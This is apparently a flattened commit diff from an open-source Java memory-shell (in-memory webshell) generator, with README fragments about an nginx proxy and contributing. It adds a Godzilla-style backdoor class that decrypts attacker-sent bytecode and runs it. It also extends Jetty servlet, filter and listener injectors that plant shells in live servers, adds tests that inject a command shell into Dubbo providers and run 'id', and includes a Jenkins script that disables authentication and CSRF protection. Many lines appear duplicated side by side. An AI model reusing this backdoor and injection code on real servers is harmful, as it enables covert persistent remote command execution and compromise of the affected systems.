If you need to use NGINX as a reverse proxy, first build the container with a custom access path. Then configure NGINX similar to the following:
Ensure that the `location /memshell-party``ROUTE_ROOT_PATH=/memshell-party``CONTEXT_PATH=/memshell-party` and
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` all use the same path.
```text
location /memshell-party {
proxy_pass http://127.0.0.1:8080;
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-By $server_addr:$server_port;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_http_version 1.1;
proxy_connect_timeout 3s;
proxy_read_timeout 300s;
proxy_send_timeout 300s;
proxy_buffer_size 16k;
proxy_buffers 8 64k;
proxy_busy_buffers_size 128k;
}
```
## Contribute
> Any feedback or issue discussion you provide is a contribution to this project.
> It will be so nice if you want to contribute. 🎉
1. If you have strong Docker environment building skills, consider adding integration test cases related to specific CVEs.
2. If you are skilled in writing memory shells, try adding support for a new type or target.
3. If you have extensive practical experience, feel free to open issues with suggestions or improvements.
For project structure, build processes, and compilation details, please refer to [CONTRIBUTING.md](../CONTRIBUTING.md)。
## Thanks
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator) - [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
### Let's start the party 🎉 ### Let's start the party 🎉
@@ -83,6 +83,8 @@ public class ServerFactory {
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
.addShellClass(ACTION, GodzillaStruts2Action.class) .addShellClass(ACTION, GodzillaStruts2Action.class)
.addShellClass(ALIBABA_DUBBO_SERVICE, GodzillaDubboService.class)
.addShellClass(APACHE_DUBBO_SERVICE, GodzillaDubboService.class)
.build()); .build());
addToolMapping(ShellTool.Behinder, ToolMapping.builder() addToolMapping(ShellTool.Behinder, ToolMapping.builder()
@@ -6,6 +6,7 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.*; import java.lang.reflect.*;
import java.util.HashSet; import java.util.HashSet;
import java.util.Map;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -130,7 +131,16 @@ public class JettyFilterInjector {
} }
newMappings[0] = filterMapping; newMappings[0] = filterMapping;
invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings}); invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings});
invokeMethod(servletHandler, "invalidateChainsCache"); try {
invokeMethod(servletHandler, "invalidateChainsCache");
} catch (NoSuchMethodException e) {
Map[] _chainCache = (Map[]) getFieldValue(servletHandler, "_chainCache");
if (_chainCache != null) {
for (Map cache : _chainCache) {
if (cache != null) cache.clear();
}
}
}
} }
@Override @Override
@@ -171,6 +181,19 @@ public class JettyFilterInjector {
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} }
// Winstone-Jetty: Launcher -> HostGroup -> HostConfigs -> webapps
try {
Object target = getFieldValue(thread, "target");
if (target != null && target.getClass().getName().contains("winstone.Launcher")) {
Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
for (Object o : hostConfigs.values()) {
Map apps = (Map) getFieldValue(o, "webapps");
contexts.addAll(apps.values());
}
}
} catch (Throwable ignored) {
}
} }
return contexts; return contexts;
} }
@@ -110,7 +110,8 @@ public class JettyHandlerInjector {
if (entry != null) { if (entry != null) {
Object threadLocalValue = getFieldValue(entry, "value"); Object threadLocalValue = getFieldValue(entry, "value");
if (threadLocalValue != null) { if (threadLocalValue != null) {
if (threadLocalValue.getClass().getName().contains("HttpConnection")) { if (threadLocalValue.getClass().getName().contains("HttpConnection")
|| threadLocalValue.getClass().getName().contains("SelectChannelConnector")) {
return invokeMethod(invokeMethod(threadLocalValue, "getConnector"), "getServer"); return invokeMethod(invokeMethod(threadLocalValue, "getConnector"), "getServer");
} }
} }
@@ -8,10 +8,7 @@ import java.lang.reflect.Array;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.EventListener; import java.util.*;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -101,6 +98,19 @@ public class JettyListenerInjector {
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} }
// Winstone-Jetty: Launcher -> HostGroup -> HostConfigs -> webapps
try {
Object target = getFieldValue(thread, "target");
if (target != null && target.getClass().getName().contains("winstone.Launcher")) {
Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
for (Object o : hostConfigs.values()) {
Map apps = (Map) getFieldValue(o, "webapps");
contexts.addAll(apps.values());
}
}
} catch (Throwable ignored) {
}
} }
return contexts; return contexts;
} }
@@ -6,6 +6,7 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.*; import java.lang.reflect.*;
import java.util.HashSet; import java.util.HashSet;
import java.util.Map;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -109,6 +110,20 @@ public class JettyServletInjector {
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} }
// Winstone-Jetty: Launcher -> HostGroup -> HostConfigs -> webapps
try {
Object target = getFieldValue(thread, "target");
if (target != null && target.getClass().getName().contains("winstone.Launcher")) {
Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
for (Object o : hostConfigs.values()) {
Map apps = (Map) getFieldValue(o, "webapps");
contexts.addAll(apps.values());
}
}
} catch (Throwable ignored) {
}
} }
return contexts; return contexts;
} }
@@ -0,0 +1,85 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.io.UnsupportedEncodingException;
import java.util.Base64;
/**
* @author ReaJason
*/
public class GodzillaDubboService extends ClassLoader {
private static String key;
private static String md5;
private static Class<?> payload;
public GodzillaDubboService() {
}
public GodzillaDubboService(ClassLoader z) {
super(z);
}
public byte[] handle(byte[] bytes) {
if (bytes == null || bytes.length == 0) {
return new byte[0];
}
try {
byte[] data = decrypt(bytes, key);
if (payload == null) {
payload = new GodzillaDubboService(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
return "ok".getBytes("UTF-8");
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.toString();
byte[] byteArray = arrOut.toByteArray();
return (md5.substring(0, 16) + encrypt(byteArray, key) + md5.substring(16)).getBytes("UTF-8");
}
} catch (Throwable e) {
try {
return getErrorMessage(e).getBytes("UTF-8");
} catch (UnsupportedEncodingException ignored) {
}
}
return new byte[0];
}
public static String encrypt(byte[] data, String key) {
byte[] keyBytes = key.getBytes();
byte[] xored = new byte[data.length];
for (int i = 0; i < data.length; i++) {
xored[i] = (byte) (data[i] ^ keyBytes[i % keyBytes.length]);
}
return Base64.getEncoder().encodeToString(xored);
}
public static byte[] decrypt(byte[] ciphertext, String key) {
byte[] data = Base64.getDecoder().decode(ciphertext);
byte[] keyBytes = key.getBytes();
byte[] result = new byte[data.length];
for (int i = 0; i < data.length; i++) {
result[i] = (byte) (data[i] ^ keyBytes[i % keyBytes.length]);
}
return result;
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -33,7 +33,10 @@ public class JettyWriter {
continue; continue;
} }
Object value = getFieldValue(entry, "value"); Object value = getFieldValue(entry, "value");
if (value != null && value.getClass().getName().endsWith("HttpConnection")) { if (value != null && (
value.getClass().getName().endsWith("HttpConnection")
|| value.getClass().getName().contains("SelectChannelConnector")
)) {
Object response; Object response;
Object request; Object request;
try { try {
+58 -2
View File
@@ -7,6 +7,9 @@ plugins {
group = "io.github.reajason" group = "io.github.reajason"
version = rootProject.version version = rootProject.version
evaluationDependsOn(":vul:vul-dubbo")
evaluationDependsOn(":tools:command")
idea { idea {
module { module {
excludeDirs.add(file("src/main")) excludeDirs.add(file("src/main"))
@@ -36,8 +39,41 @@ dependencies {
} }
} }
tasks.test { val dubboProviderProject = project(":vul:vul-dubbo")
useJUnitPlatform() val dubboCommandProject = project(":tools:command")
fun dubboProviderJar(taskName: String): Provider<String> {
return dubboProviderProject.tasks.named<Jar>(taskName).flatMap { task ->
task.archiveFile.map { it.asFile.absolutePath }
}
}
fun dubboClientClasspath(clientKind: String): Provider<String> {
return dubboCommandProject.layout.buildDirectory.file("dubbo-client-classpaths/$clientKind.txt").map {
it.asFile.readText()
}
}
fun Test.configureDubboSystemProperties() {
dependsOn(":vul:vul-dubbo:dubboProviderFatJars", ":tools:command:dubboClientClasspath")
val systemProperties = mapOf(
"dubbo.alibaba.client.classpath" to dubboClientClasspath("alibaba"),
"dubbo.apache.client.classpath" to dubboClientClasspath("apache"),
"dubbo.alibaba.provider.jar" to dubboProviderJar("dubboAlibabaProviderFatJar"),
"dubbo.apache276.provider.jar" to dubboProviderJar("dubboApache276ProviderFatJar"),
"dubbo.apache277.provider.jar" to dubboProviderJar("dubboApache277ProviderFatJar"),
"dubbo.apache278.provider.jar" to dubboProviderJar("dubboApache278ProviderFatJar"),
"dubbo.apache2723.provider.jar" to dubboProviderJar("dubboApache2723ProviderFatJar"),
"dubbo.apache336.provider.jar" to dubboProviderJar("dubboApache336ProviderFatJar")
)
doFirst {
systemProperties.forEach { (key, value) ->
systemProperty(key, value.get())
}
}
}
fun Test.configureIntegrationJvm() {
jvmArgs( jvmArgs(
"--add-opens=java.base/java.util=ALL-UNNAMED", "--add-opens=java.base/java.util=ALL-UNNAMED",
"--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED", "--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED",
@@ -47,3 +83,23 @@ tasks.test {
events("passed", "skipped", "failed") events("passed", "skipped", "failed")
} }
} }
tasks.test {
useJUnitPlatform {
excludeTags("dubbo-container")
}
configureIntegrationJvm()
}
tasks.register<Test>("dubboContainerTest") {
group = "verification"
description = "Runs DubboService provider/client integration tests."
testClassesDirs = sourceSets.test.get().output.classesDirs
classpath = sourceSets.test.get().runtimeClasspath
useJUnitPlatform {
includeTags("dubbo-container")
}
dependsOn("testClasses")
configureDubboSystemProperties()
configureIntegrationJvm()
}
@@ -0,0 +1,10 @@
services:
target:
image: reajason/geronimo:2.2.1-jetty7
ports:
- "8080:8080"
- "5005:5005"
environment:
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/geronimo/deploy/app.war
@@ -0,0 +1,7 @@
services:
target:
image: reajason/geronimo:2.2.1-tomcat6
ports:
- "8080:8080"
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/geronimo/deploy/app.war
@@ -0,0 +1,11 @@
services:
jetty716:
image: reajason/jetty:7.1.6-jdk6
ports:
- "8080:8080"
- "5005:5005"
environment:
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../asserts/agent/jattach-linux:/opt/jattach
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/jetty/webapps/app.war
@@ -0,0 +1,13 @@
import jenkins.model.*
import hudson.security.*
import jenkins.security.s2m.AdminWhitelistRule
def instance = Jenkins.getInstance()
// 关闭登录认证
instance.disableSecurity()
// 关闭 CSRF 保护
instance.setCrumbIssuer(null)
instance.save()
@@ -0,0 +1,36 @@
package com.reajason.javaweb.integration.memshell.dubbo;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Tag;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
@Testcontainers
@Tag("dubbo-container")
class AlibabaDubbo2612ContainerTest {
private static final DubboProviderScenario SCENARIO = new DubboProviderScenario(
"alibaba-dubbo-2.6.12",
"alibaba",
"dubbo.alibaba.provider.jar",
"eclipse-temurin:8-jre",
20880,
Opcodes.V1_8,
List.of(
new DubboProtocolTarget("dubbo", 20880),
new DubboProtocolTarget("hessian", 28080)
)
);
@Container
static final GenericContainer<?> container = DubboContainerFactory.buildProvider(SCENARIO);
@Test
void testDubboServiceRegistration() {
DubboServiceAssertion.assertCommandService(container, SCENARIO);
}
}
@@ -0,0 +1,84 @@
package com.reajason.javaweb.integration.memshell.dubbo;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Tag;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import java.util.stream.Stream;
@Testcontainers
@Tag("dubbo-container")
class ApacheDubbo27xContainerTest {
private static final String IMAGE = "eclipse-temurin:17-jdk";
private static final DubboProviderScenario APACHE_276 = apacheScenario(
"apache-dubbo-2.7.6",
"dubbo.apache276.provider.jar",
20885,
28086
);
private static final DubboProviderScenario APACHE_277 = apacheScenario(
"apache-dubbo-2.7.7",
"dubbo.apache277.provider.jar",
20886,
28088
);
private static final DubboProviderScenario APACHE_278 = apacheScenario(
"apache-dubbo-2.7.8",
"dubbo.apache278.provider.jar",
20887,
28090
);
private static final DubboProviderScenario APACHE_2723 = apacheScenario(
"apache-dubbo-2.7.23",
"dubbo.apache2723.provider.jar",
20881,
28082
);
@Container
static final GenericContainer<?> apache276 = DubboContainerFactory.buildProvider(APACHE_276);
@Container
static final GenericContainer<?> apache277 = DubboContainerFactory.buildProvider(APACHE_277);
@Container
static final GenericContainer<?> apache278 = DubboContainerFactory.buildProvider(APACHE_278);
@Container
static final GenericContainer<?> apache2723 = DubboContainerFactory.buildProvider(APACHE_2723);
static Stream<Arguments> scenarios() {
return Stream.of(
Arguments.of(apache276, APACHE_276),
Arguments.of(apache277, APACHE_277),
Arguments.of(apache278, APACHE_278),
Arguments.of(apache2723, APACHE_2723)
);
}
@ParameterizedTest(name = "{1}")
@MethodSource("scenarios")
void testDubboServiceRegistration(GenericContainer<?> container, DubboProviderScenario scenario) {
DubboServiceAssertion.assertCommandService(container, scenario);
}
private static DubboProviderScenario apacheScenario(String name, String providerJarProperty, int dubboPort, int hessianPort) {
return new DubboProviderScenario(
name,
"apache",
providerJarProperty,
IMAGE,
dubboPort,
Opcodes.V1_8,
List.of(
new DubboProtocolTarget("dubbo", dubboPort),
new DubboProtocolTarget("hessian", hessianPort)
)
);
}
}
@@ -0,0 +1,37 @@
package com.reajason.javaweb.integration.memshell.dubbo;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Tag;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
@Testcontainers
@Tag("dubbo-container")
class ApacheDubbo336ContainerTest {
private static final DubboProviderScenario SCENARIO = new DubboProviderScenario(
"apache-dubbo-3.3.6",
"apache",
"dubbo.apache336.provider.jar",
"eclipse-temurin:17-jdk",
20882,
Opcodes.V1_8,
List.of(
new DubboProtocolTarget("dubbo", 20882),
new DubboProtocolTarget("hessian", 28084),
new DubboProtocolTarget("tri", 50051)
)
);
@Container
static final GenericContainer<?> container = DubboContainerFactory.buildProvider(SCENARIO);
@Test
void testDubboServiceRegistration() {
DubboServiceAssertion.assertCommandService(container, SCENARIO);
}
}
@@ -0,0 +1,130 @@
package com.reajason.javaweb.integration.memshell.dubbo;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
final class DubboClientRunner {
private DubboClientRunner() {
}
static String loadBytes(String clientKind, String url, String base64) {
return run(clientKind, "load-bytes", url, base64);
}
static String runCommand(String clientKind, String url, String interfaceName, String command) {
return run(clientKind, "run-command", url, interfaceName, command);
}
@SneakyThrows
private static String run(String clientKind, String... args) {
List<String> command = new ArrayList<String>();
String javaExecutable = javaExecutable(clientKind);
command.add(javaExecutable);
if (supportsAddOpens(javaExecutable)) {
command.add("--add-opens=java.base/java.lang=ALL-UNNAMED");
command.add("--add-opens=java.base/java.math=ALL-UNNAMED");
}
command.add("-cp");
command.add(clientClasspath(clientKind));
command.add(mainClass(clientKind));
for (String arg : args) {
command.add(arg);
}
Process process = new ProcessBuilder(command)
.redirectErrorStream(true)
.start();
ByteArrayOutputStream output = new ByteArrayOutputStream();
copy(process.getInputStream(), output);
int exitCode = process.waitFor();
String rendered = output.toString(StandardCharsets.UTF_8).trim();
if (exitCode != 0) {
throw new IllegalStateException("Dubbo client failed with exit code " + exitCode + "\n" + rendered);
}
return rendered;
}
private static String clientClasspath(String clientKind) {
String property = System.getProperty("dubbo." + clientKind + ".client.classpath");
if (isBlank(property)) {
throw new IllegalStateException("missing dubbo." + clientKind + ".client.classpath system property");
}
return property;
}
private static String mainClass(String clientKind) {
if ("alibaba".equals(clientKind)) {
return "io.github.reajason.dubbo.fixture.client.alibaba.AlibabaDubboClient";
}
if ("apache".equals(clientKind)) {
return "io.github.reajason.dubbo.fixture.client.apache.ApacheDubboClient";
}
throw new IllegalArgumentException("unsupported client kind: " + clientKind);
}
private static String javaExecutable(String clientKind) {
if (!"alibaba".equals(clientKind)) {
return "java";
}
String java8Home = System.getenv("JAVA8_HOME");
if (isBlank(java8Home)) {
java8Home = System.getProperty("java8.home");
}
if (isBlank(java8Home)) {
return "java";
}
return java8Home + "/bin/java";
}
private static boolean supportsAddOpens(String javaExecutable) throws java.io.IOException, InterruptedException {
Process process = new ProcessBuilder(javaExecutable, "-version")
.redirectErrorStream(true)
.start();
ByteArrayOutputStream output = new ByteArrayOutputStream();
copy(process.getInputStream(), output);
int exitCode = process.waitFor();
if (exitCode != 0) {
return true;
}
return majorVersion(output.toString(StandardCharsets.UTF_8)) >= 9;
}
private static int majorVersion(String versionOutput) {
Matcher matcher = Pattern.compile("version \"([^\"]+)\"").matcher(versionOutput);
if (!matcher.find()) {
return 9;
}
String version = matcher.group(1);
if (version.startsWith("1.")) {
int dot = version.indexOf('.', 2);
return leadingInteger(dot < 0 ? version.substring(2) : version.substring(2, dot));
}
int dot = version.indexOf('.');
return leadingInteger(dot < 0 ? version : version.substring(0, dot));
}
private static int leadingInteger(String value) {
Matcher matcher = Pattern.compile("^(\\d+)").matcher(value);
return matcher.find() ? Integer.parseInt(matcher.group(1)) : 9;
}
private static boolean isBlank(String value) {
return value == null || value.trim().isEmpty();
}
private static void copy(InputStream inputStream, ByteArrayOutputStream outputStream) throws java.io.IOException {
byte[] buffer = new byte[4096];
int read;
while ((read = inputStream.read(buffer)) >= 0) {
outputStream.write(buffer, 0, read);
}
}
}
@@ -0,0 +1,56 @@
package com.reajason.javaweb.integration.memshell.dubbo;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.utility.MountableFile;
import java.nio.file.Files;
import java.nio.file.Path;
import java.time.Duration;
final class DubboContainerFactory {
private DubboContainerFactory() {
}
static GenericContainer<?> buildProvider(DubboProviderScenario scenario) {
String jarPath = providerJarPath(scenario.providerJarProperty());
GenericContainer<?> container = new GenericContainer<>(scenario.imageName())
.withCopyFileToContainer(MountableFile.forHostPath(jarPath), "/app/app.jar")
.withWorkingDirectory("/app")
.withExposedPorts(exposedPorts(scenario))
.waitingFor(Wait.forLogMessage(".*Provider started.*", 1)
.withStartupTimeout(Duration.ofMinutes(3)));
if ("alibaba".equals(scenario.clientKind())) {
container.withCommand("java", "-jar", "/app/app.jar");
} else {
container.withCommand(
"java",
"--add-opens", "java.base/java.lang=ALL-UNNAMED",
"--add-opens", "java.base/java.math=ALL-UNNAMED",
"-jar", "/app/app.jar"
);
}
return container;
}
private static Integer[] exposedPorts(DubboProviderScenario scenario) {
return scenario.commandTargets().stream()
.map(DubboProtocolTarget::port)
.distinct()
.toArray(Integer[]::new);
}
private static String providerJarPath(String propertyName) {
String value = System.getProperty(propertyName);
if (value == null || value.trim().isEmpty()) {
throw new IllegalStateException("missing " + propertyName + " system property");
}
Path path = Path.of(value);
if (!Files.isRegularFile(path)) {
throw new IllegalStateException("provider jar does not exist: " + path);
}
return path.toAbsolutePath().toString();
}
}
@@ -0,0 +1,27 @@
package com.reajason.javaweb.integration.memshell.dubbo;
final class DubboProtocolTarget {
private final String protocol;
private final int port;
DubboProtocolTarget(String protocol, int port) {
this.protocol = protocol;
this.port = port;
}
String protocol() {
return protocol;
}
int port() {
return port;
}
String url(String host, String interfaceName) {
return protocol + "://" + host + ":" + port + "/" + interfaceName;
}
String url(String host, int mappedPort, String interfaceName) {
return protocol + "://" + host + ":" + mappedPort + "/" + interfaceName;
}
}
@@ -0,0 +1,66 @@
package com.reajason.javaweb.integration.memshell.dubbo;
import com.reajason.javaweb.memshell.ShellType;
import java.util.List;
final class DubboProviderScenario {
private final String name;
private final String clientKind;
private final String providerJarProperty;
private final String imageName;
private final int loaderPort;
private final int targetJdkVersion;
private final List<DubboProtocolTarget> commandTargets;
DubboProviderScenario(String name, String clientKind, String providerJarProperty, String imageName,
int loaderPort, int targetJdkVersion, List<DubboProtocolTarget> commandTargets) {
this.name = name;
this.clientKind = clientKind;
this.providerJarProperty = providerJarProperty;
this.imageName = imageName;
this.loaderPort = loaderPort;
this.targetJdkVersion = targetJdkVersion;
this.commandTargets = commandTargets;
}
String name() {
return name;
}
String clientKind() {
return clientKind;
}
String providerJarProperty() {
return providerJarProperty;
}
String imageName() {
return imageName;
}
int loaderPort() {
return loaderPort;
}
int targetJdkVersion() {
return targetJdkVersion;
}
List<DubboProtocolTarget> commandTargets() {
return commandTargets;
}
String shellType() {
if ("alibaba".equals(clientKind)) {
return ShellType.ALIBABA_DUBBO_SERVICE;
}
return ShellType.APACHE_DUBBO_SERVICE;
}
@Override
public String toString() {
return name;
}
}
@@ -0,0 +1,64 @@
package com.reajason.javaweb.integration.memshell.dubbo;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import org.testcontainers.containers.GenericContainer;
import java.util.List;
import java.util.stream.Collectors;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.anyOf;
import static org.hamcrest.Matchers.containsString;
@Slf4j
final class DubboServiceAssertion {
private static final String LOADER_INTERFACE = "io.github.reajason.dubbo.fixture.api.BytecodeLoadingService";
private static final String COMMAND = "id";
private DubboServiceAssertion() {
}
static void assertCommandService(GenericContainer<?> container, DubboProviderScenario scenario) {
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(
scenario.shellType(),
ShellTool.Command,
Packers.Base64
);
MemShellResult result = ShellAssertion.generate(
null,
Server.Dubbo,
null,
scenario.shellType(),
ShellTool.Command,
scenario.targetJdkVersion(),
shellToolConfig,
Packers.Base64
);
String interfaceName = result.getInjectorConfig().getUrlPattern();
String host = container.getHost();
String loaderUrl = "dubbo://" + host + ":" + container.getMappedPort(scenario.loaderPort()) + "/" + LOADER_INTERFACE;
log.info("loading {} into {} via {}", interfaceName, scenario.name(), loaderUrl);
String loadOutput = DubboClientRunner.loadBytes(scenario.clientKind(), loaderUrl, result.getInjectorBytesBase64Str());
log.info("{} load output: {}", scenario.name(), loadOutput);
List<String> fallbackUrls = scenario.commandTargets().stream()
.map(target -> target.url(host, container.getMappedPort(target.port()), interfaceName))
.collect(Collectors.toList());
List<String> commandUrls = DubboUrlResolver.resolveCommandUrls(loadOutput, interfaceName, fallbackUrls);
for (String commandUrl : commandUrls) {
String output = DubboClientRunner.runCommand(scenario.clientKind(), commandUrl, interfaceName, COMMAND);
log.info("{} {} command output: {}", scenario.name(), DubboUrlResolver.protocolOf(commandUrl), output);
assertThat(output, anyOf(containsString("uid="), containsString("injected-ok")));
}
}
}
@@ -0,0 +1,72 @@
package com.reajason.javaweb.integration.memshell.dubbo;
import java.net.URI;
import java.net.URISyntaxException;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.util.stream.Collectors;
final class DubboUrlResolver {
private DubboUrlResolver() {
}
static List<String> resolveCommandUrls(String loadOutput, String interfaceName, List<String> fallbackUrls) {
Map<String, String> discoveredByProtocol = new LinkedHashMap<String, String>();
Pattern pattern = Pattern.compile("(dubbo|hessian|tri)://[^\\s,]*" + Pattern.quote(interfaceName) + "(?:\\?[^\\s,]*)?");
Matcher matcher = pattern.matcher(loadOutput);
while (matcher.find()) {
String candidate = matcher.group();
discoveredByProtocol.put(protocolOf(candidate), candidate);
}
return fallbackUrls.stream()
.map(fallback -> {
String discovered = discoveredByProtocol.get(protocolOf(fallback));
return discovered == null ? fallback : rewriteEndpoint(discovered, fallback);
})
.collect(Collectors.toList());
}
static String protocolOf(String url) {
int separator = url.indexOf("://");
return separator < 0 ? url : url.substring(0, separator);
}
static String rewriteHost(String url, String host) {
try {
URI uri = new URI(url);
return new URI(
uri.getScheme(),
uri.getUserInfo(),
host,
uri.getPort(),
uri.getPath(),
uri.getQuery(),
uri.getFragment()
).toString();
} catch (URISyntaxException e) {
throw new IllegalArgumentException("invalid direct url: " + url, e);
}
}
static String rewriteEndpoint(String url, String endpointUrl) {
try {
URI uri = new URI(url);
URI endpoint = new URI(endpointUrl);
return new URI(
uri.getScheme(),
uri.getUserInfo(),
endpoint.getHost(),
endpoint.getPort(),
uri.getPath(),
uri.getQuery(),
uri.getFragment()
).toString();
} catch (URISyntaxException e) {
throw new IllegalArgumentException("invalid direct url: " + url + " or " + endpointUrl, e);
}
}
}
@@ -0,0 +1,34 @@
package com.reajason.javaweb.integration.memshell.dubbo;
import org.junit.jupiter.api.Test;
import java.util.List;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.contains;
class DubboUrlResolverTest {
@Test
void discoveredUrlsOverrideFallbackByProtocolAndRewriteHost() {
String interfaceName = "org.example.ICommandService";
String loadOutput = "ok dubbo://x.x.x.x:20880/" + interfaceName + "?side=provider, "
+ "hessian://10.1.2.3:28080/" + interfaceName;
List<String> resolved = DubboUrlResolver.resolveCommandUrls(
loadOutput,
interfaceName,
List.of(
"dubbo://127.0.0.1:1111/" + interfaceName,
"hessian://127.0.0.1:2222/" + interfaceName,
"tri://127.0.0.1:3333/" + interfaceName
)
);
assertThat(resolved, contains(
"dubbo://127.0.0.1:1111/" + interfaceName + "?side=provider",
"hessian://127.0.0.1:2222/" + interfaceName,
"tri://127.0.0.1:3333/" + interfaceName
));
}
}
@@ -0,0 +1,59 @@
package com.reajason.javaweb.integration.memshell.geronimo;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
/**
* @author ReaJason
* @since 2024/12/7
*/
@Testcontainers
public class Geronimo221Jetty7ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig
.builder()
.server(Server.Jetty)
.imageName("reajason/geronimo:2.2.1-jetty7")
.warFile(ContainerTool.warFile)
.warDeployPath("/opt/geronimo/deploy/app.war")
.pidScript(ContainerTool.javaPid)
.serverVersion("7+")
.targetJdkVersion(Opcodes.V1_6)
.supportedShellTypes(List.of(
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,
ShellType.JETTY_AGENT_HANDLER
))
.testPackers(List.of(Packers.JSP))
.probeShellTypes(List.of(
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,68 @@
package com.reajason.javaweb.integration.memshell.geronimo;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.integration.ShellAssertion;
